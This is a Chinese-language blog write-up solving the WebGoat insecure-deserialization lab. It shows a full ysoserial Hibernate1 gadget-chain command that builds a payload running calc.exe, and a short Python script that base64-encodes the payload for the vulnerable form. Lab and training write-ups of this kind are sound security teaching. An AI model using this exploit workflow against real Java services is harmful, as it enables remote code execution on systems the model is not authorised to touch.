
工具下载地址:https://github.com/angelwhu/ysoserial
使用方法可参考:https://blog.csdn.net/weixin_34275734/article/details/92243836
靶场webgoat---Insecure Deserializetion---5
分析漏洞:题目给的数据是rO0AB开头,所以是经过了base64加密的java序列化对象。
解码后是一段英文,百度翻译也没发现有啥用处:
题目还给出了一个接收序列化数据的表单,先分析一波:
用burpsuite抓包:
可以看到,表单提交的数据通过token接收,并发送到/InsecureDeserialization/task这个页面,可以通过/InsecureDeserialization/task找出对应的源码
所以,页面接收的token是一段经过base64编码的序列化数据
利用漏洞:----ysoserial工具找到了传输序列化数据的接口,接下来就需要构造payload了
首先肯定是查找已知漏洞的利用,对于分析代码去构造payload,没技术不说,也没时间去搞,最简单最直接就是找披露过的java插件漏洞。
运行ysoserial工具
java -jar ysoserial.jar
按照ysoserial支持的插件,查找webgoat是否安装了对应的jar包,这里只有两个:
Hibernate和spring-core 但是spring-core的版本不一致,所以就选择Hibernate
将Hibernate的jar包复制到ysoserial工具的目录下,jar包名字中必须是有core的,是插件的核心
我这里是hibernate-core-5.4.6.Final.jar这个包,利用ysoserial生成payload,执行以下命令
java -Dhibernate5 -cp hibernate-core-5.4.6.Final.jar;ysoserial.jar ysoserial.GeneratePayload Hibernate1 calc.exe > token.bin
java -Dhibernate5 -cp hibernate-core-5.4.6.Final.jar; //表示hibernate5的插件
ysoserial.jar ysoserial.GeneratePayload Hibernate1 calc.exe > token.bin //生成Hibernate1插件反序列化漏洞的payload,执行calc.exe命令,将payload保存在token.bin文件中
payload生成了,但是表单接收的是经过base64编码的:采用python写的简单脚本对payloadbase64编码
import base64
filename = input("输入需要base64编码的文件名:")
s = open(filename, "rb").read() #文本默认模式读取文件内容rt
base64_str = base64.urlsafe_b64encode(s)
#文本默认模式写入文件内容wt
open("base64.txt", "wt",encoding="utf-8").write(base64_str.decode())
将编码的字符串提交:
成功执行calc.exe命令,题目说要延时5s,也不知道是cmd还是web页面的,搞不懂
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)